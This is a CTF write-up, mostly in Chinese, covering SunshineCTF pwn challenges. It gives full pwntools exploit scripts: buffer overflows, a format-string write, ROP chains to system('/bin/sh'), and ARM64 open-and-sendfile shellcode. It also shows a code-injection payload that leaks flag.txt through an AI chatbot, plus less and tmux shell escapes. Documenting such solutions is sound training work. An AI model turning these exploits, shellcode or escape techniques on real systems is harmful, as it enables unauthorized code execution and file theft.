# i95
这个方向都是栈 Pwn,很简单,直接 AK 了。
## Miami
### Information
- Category: Pwn
- Points: 100
### Description
> Dexter is the prime suspect of being the Bay Harbor Butcher, we break into his
login terminal and get the proof we need!
### Write-up
覆盖变量值即可。
### Exploit
```python
#!/usr/bin/env python3
from pwn import (
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "./miami"
HOST, PORT = "chal.sunshinectf.games", 25601
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
payload = flat(
b"A" * 0x4C,
0x1337C0DE,
)
raw_input("DEBUG")
target.sendlineafter(b"Enter Dexter's password: ", payload)
target.interactive()
if __name__ == "__main__":
main()
```
### Flag
:spoiler[`sun{DeXtEr_was_!nnocent_Do4kEs_w4s_the_bAy_hRrb0ur_bu7cher_afterall!!}
`]
## Jupiter
### Information
- Category: Pwn
- Points: 100
### Description
> Jupiter just announced their new Brightline junction... the ECHO TERMINAL!!!
### Write-up
`dprintf(2, (const char *)buf)`,明显格式化字符串,改 `secret_key == 322420958`
即可,后两字节没问题,直接改高字节。
### Exploit
```python
#!/usr/bin/env python3
from pwn import (
ROP,
args,
context,
flat,
p64,
process,
raw_input,
remote,
)
FILE = "./jupiter"
HOST, PORT = "chal.sunshinectf.games", 25607
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
rop = ROP(elf)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
secret = 0x404010
payload = flat(
b"aaaaa%4914c%7$hn",
p64(secret + 0x2),
)
raw_input("DEBUG")
target.sendlineafter(b"Enter data at your own risk: ", payload)
target.interactive()
if __name__ == "__main__":
main()
```
### Flag
:spoiler[`sun{F0rmat_str!ngs_4re_sup3r_pOwerFul_r1gh7??}`]
## Canaveral
### Information
- Category: Pwn
- Points: 100
### Description
> NASA Mission Control needs your help... only YOU can enter the proper launch s
equence!!
### Write-up
这题有点爆炸,一开始自己在 bss 上写 `/bin/sh` 字符串,远程老打不通,调试发现它会
把我写的字符串清空……后来用程序自带的 `/bin/sh` 字符串地址就打通了,目前还没搞明
白为什么自己写的不行,日后有空再研究。
### Exploit - I
```python
#!/usr/bin/env python3
from pwn import (
ROP,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "./canaveral"
HOST, PORT = "chal.sunshinectf.games", 25603
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
rop = ROP(elf)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
read = 0x401289
system = 0x401218
payload = flat(
b"A" * 0x40,
elf.bss() + 0xF00,
read,
)
raw_input("DEBUG")
target.sendlineafter("Enter the launch sequence: ", payload)
payload = flat(
b"A" * 0x38,
next(elf.search(b"/bin/sh")),
0x404F28,
system,
)
target.sendline(payload)
target.interactive()
if __name__ == "__main__":
main()
```
### Exploit - II
下面是自己构造 `/bin/sh` 的成功版,我发现只要把自己构造的 `/bin/sh` 和调用 syste
m 的 ROP Chain 写在相同的区域,libc 内部就会破坏 `/bin/sh`,那干脆试试写到别的地
方去,比如这里写入到栈中(注意栈上也会因为重叠问题,导致部分输入被破坏,不过还是
有没被破坏的地方可以用的):
```python
#!/usr/bin/env python3
from pwn import (
ROP,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "./canaveral"
HOST, PORT = "chal.sunshinectf.games", 25603
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
rop = ROP(elf)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
read = 0x401289
system = 0x401218
payload = flat(
b"A" * 0x18,
b"/bin/shx00",
b"A" * 0x20,
elf.bss() + 0xF00,
read,
)
raw_input("DEBUG")
target.sendlineafter("Enter the launch sequence: ", payload)
target.recvuntil(b"prize: ")
stack = int(target.recvline().strip(), 16)
binsh = stack + 0x18
target.success(hex(stack))
payload = flat(
b"A" * 0x38,
binsh,
0x404F28,
system,
)
target.sendline(payload)
target.interactive()
if __name__ == "__main__":
main()
```
### Flag
:spoiler[`sun{D!d_y0u_s3e_thE_IM4P_spAce_laUncH??}`]
## Jacksonville
### Information
- Category: Pwn
- Points: 100
### Description
> The Jacksonville Jaguars are having a rough season, let's cheer them on!!
### Write-up
First Blood! 没难度,就是平台在开玩笑,拿到 flag 了提交上去告诉我不对……然后我疯
狂按提交按钮结果就成功了……
### Exploit
```python
#!/usr/bin/env python3
from pwn import (
ROP,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "./jacksonville"
HOST, PORT = "chal.sunshinectf.games", 25602
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
rop = ROP(elf)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
answer = b"aaaaaaJaguarsx00"
length = len(answer)
payload = flat(
answer,
b"A" * (0x68 - length),
rop.ret.address,
elf.sym["win"],
)
raw_input("DEBUG")
target.sendlineafter(b"> ", payload)
target.interactive()
if __name__ == "__main__":
main()
```
### Flag
:spoiler[`sun{D!d_y0u_s3e_thE_IM4P_spAce_laUncH??}`]
## Daytona
### Information
- Category: Pwn
- Points: 100
### Description
> Cops don't like it when you drive like you're in the Daytona 500 :/
### Write-up
<s>_这可是我的第一次。_</s>
bro 第一次做(成) arm 架构 pwn,虽然最后还是自己提供思路,让 AI 写的 shellcode…
…嗯,这次不算数~
一开始直接 shellcraft 打 execve,结果本地通了远程不行,后来试了下换成 ORW,还是
本地可以,远程不行……最后才知道,ARM 架构的 CPU 通常有分离的数据缓存 (`D-Cache`)
和指令缓存 (`I-Cache`),我们写入 shellcode 的而时候数据先进入 `D-Cache`,跳转到
这段代码时,CPU 还是会继续从 `I-Cache` 中读取指令。如果 CPU 流水线和 `I-Cache`
中仍然存有这段内存地址上的旧代码,它就会执行错误的代码,所以我远程打不通。本地能
通是因为 QEMU 通常会自动处理缓存同步问题。
解决方法是使用一个叫做 `Cache Invalidation Gadget` 的东西,手动刷新流水线:
- `dc`:清理 `D-Cache`,将新写入的 shellcode 推送到主存
- `ic + isb`:清理 `I-Cache` 和 CPU 流水线,强制 CPU 从内存中加载新写入的 shellc
ode,从而保证 shellcode 能够正确执行
得抽空去学一下其它架构的指令集了,不然真不行,这是我最近碰到的第二个 arm pwn 了
。
### Exploit
```python
#!/usr/bin/env python3
from pwn import (
args,
asm,
context,
flat,
process,
raw_input,
remote,
shellcraft,
)
FILE = "./daytona"
HOST, PORT = "chal.sunshinectf.games", 25606
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def launch():
global target
if args.L:
# target = process(["qemu-aarch64", "-g", "1234", FILE])
target = process(["qemu-aarch64", FILE])
else:
target = remote(HOST, PORT)
def main():
launch()
target.recvuntil(b"The cops said I was going ")
stack = int(target.recvuntil(b" ").strip(), 10) + 117
target.success(f"stack: {hex(stack)}")
# shellcode = asm(shellcraft.execve("/bin/sh", 0, 0))
# shellcode = shellcraft.open("flag.txt", 0, 0)
# shellcode += shellcraft.sendfile(1, "x0", 0, 0x1000)
shellcode = asm("""
// cache invalidation gadget
adr x9, orw
dc cvau, x9
add x10, x9, #0x40
dc cvau, x10
dsb ish
ic ivau, x9
ic ivau, x10
dsb ish
isb
orw:
// openat(dfd=AT_FDCWD, filename="flag.txt", flags=0, mode=0)
// AT_FDCWD = 0xFFFFFFFFFFFFFF9C (-100)
mov x0, #-100
adr x1, filename
mov x2, #0
mov x3, #0
mov x8, #56
svc #0
// sendfile(out_fd=1, in_fd=X0, offset=0, count=0x1000)
mov x1, x0
mov x0, #1
mov x2, #0
mov x3, #0x100
mov x8, #71
svc #0
filename:
.ascii "flag.txt\x00"
""")
length = len(shellcode)
target.warn(f"shellcode length: {hex(length)}")
payload = flat(
b"A" * 0x48,
stack + 0x48 + 0x8,
shellcode,
)
raw_input("DEBUG")
target.sendlineafter(b"What do I tell them??", payload)
target.interactive()
if __name__ == "__main__":
main()
```
### Exploit
:spoiler[`sun{ARM64_shEl1c0de_!s_pr3ttY_n3a7_dOnT_y0u_thInk?}`]
# Pwn
这个方向真的是 Pwn 吗,怎么题目都那么奇怪??
`HAL9000` 是一道贼恶心的 mov obfuscated 的题,`demovfuscator` 了以后和原先也区别
不大,还是一堆 `mov` 指令,坐牢啊……
`Space Is Less Than Ideal` 和 `Space Is My Banner` 感觉这两道更像 Misc,与 Pwn
一点关系都没有……
`AstroJIT AI` 是代码审计吧,也和 Pwn 没关系啊……
唯一一个 heap 我还因为没怎么学过堆,做不来……
`Clone Army` 没细看,后面有空复现吧。
## AstroJIT AI
### Information
- Category: Pwn
- Points: 500
### Description
> AstroJIT AI, your new general-purpose chatbot for the future!
### Write-up
测试格式化字符串,报错:
问 AI,可以注入代码,直接用 `{ int.Parse(System.IO.File.ReadAllText("flag.txt"))
, 0, 0 }`,由于 flag 内容不是整数,报错信息直接把 flag 输出了。
```csharp showLineNumbers=false
Weights: { int.Parse(System.IO.File.ReadAllText("flag.txt")), 0, 0 }
{ int.Parse(System.IO.File.ReadAllText("flag.txt")), 0, 0 }
MethodInvocationException: /app/evil_corp_ai.ps1:424
Line |
424 | $weights = [Two.Second.Scholars.Mass.And.Partialities.Wei …
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| Exception calling "CalculatePrecompiledWeights" with "0" argument(s):
| "The input string
| 'sun{evil-corp-one-uprising-at-a-time-folks-may-be-evil-but-do-not-get-bu
rnt-out-just-burn-the-building-down-before-you-go-we-need-the-insurance-money} '
was not in a correct format."
```
### Flag
:spoiler[`sun{evil-corp-one-uprising-at-a-time-folks-may-be-evil-but-do-not-get-
burnt-out-just-burn-the-building-down-before-you-go-we-need-the-insurance-money}
`]
## Space Is Less Than Ideal
### Information
- Category: Pwn
- Points: 500
### Description
> I think i did a thing.
> I may have accessed a satellite.
> I can access the logs anyhow. I can't seem to access anything else.
> I know I've seen that type of log viewer before, but something seems... differ
ent... about it.
> Well you know the expression. Less is more!
### Write-up
`less` 逃逸,调教 AI 就好了。先输入 `ma` 设置 mark,然后输入 `|a` 就可以执行指令
。`ls` 发现有 `cat-flag`,重复上面的步骤调用这个程序就好了。
另外,刚开始测试 `!command` 发现没有用,但是可以看到后台指令执行结果,所以要看结
果的时候可以通过这个方式查看。
### Flag
:spoiler[`sun{less-is-more-no-really-it-is-just-a-symbolic-link}`]
## Space Is My Banner
### Information
- Category: Pwn
- Points: 500
### Description
> I did it again.
> This time I'm sure I accessed a satellite.
> I'm scared, it's giving me a warning message when I log in.
> I think this time I may have gone too far... this seems to be some top securit
y stuff...
### Write-up
这次是 tmux 逃逸,在 Security Prompt 中按 `Ctrl-B` 然后输入 `:` 就可以输入一些内
置 tmux 指令了,直接用核武 `:run-shell "ls -al"` 然后 `:run-shell "./cat-flag"`
。
### Flag
:spoiler[`sun{wait-wait-wait-you-cannot-hack-me-you-agreed-to-not-do-that-that-i
s-not}`]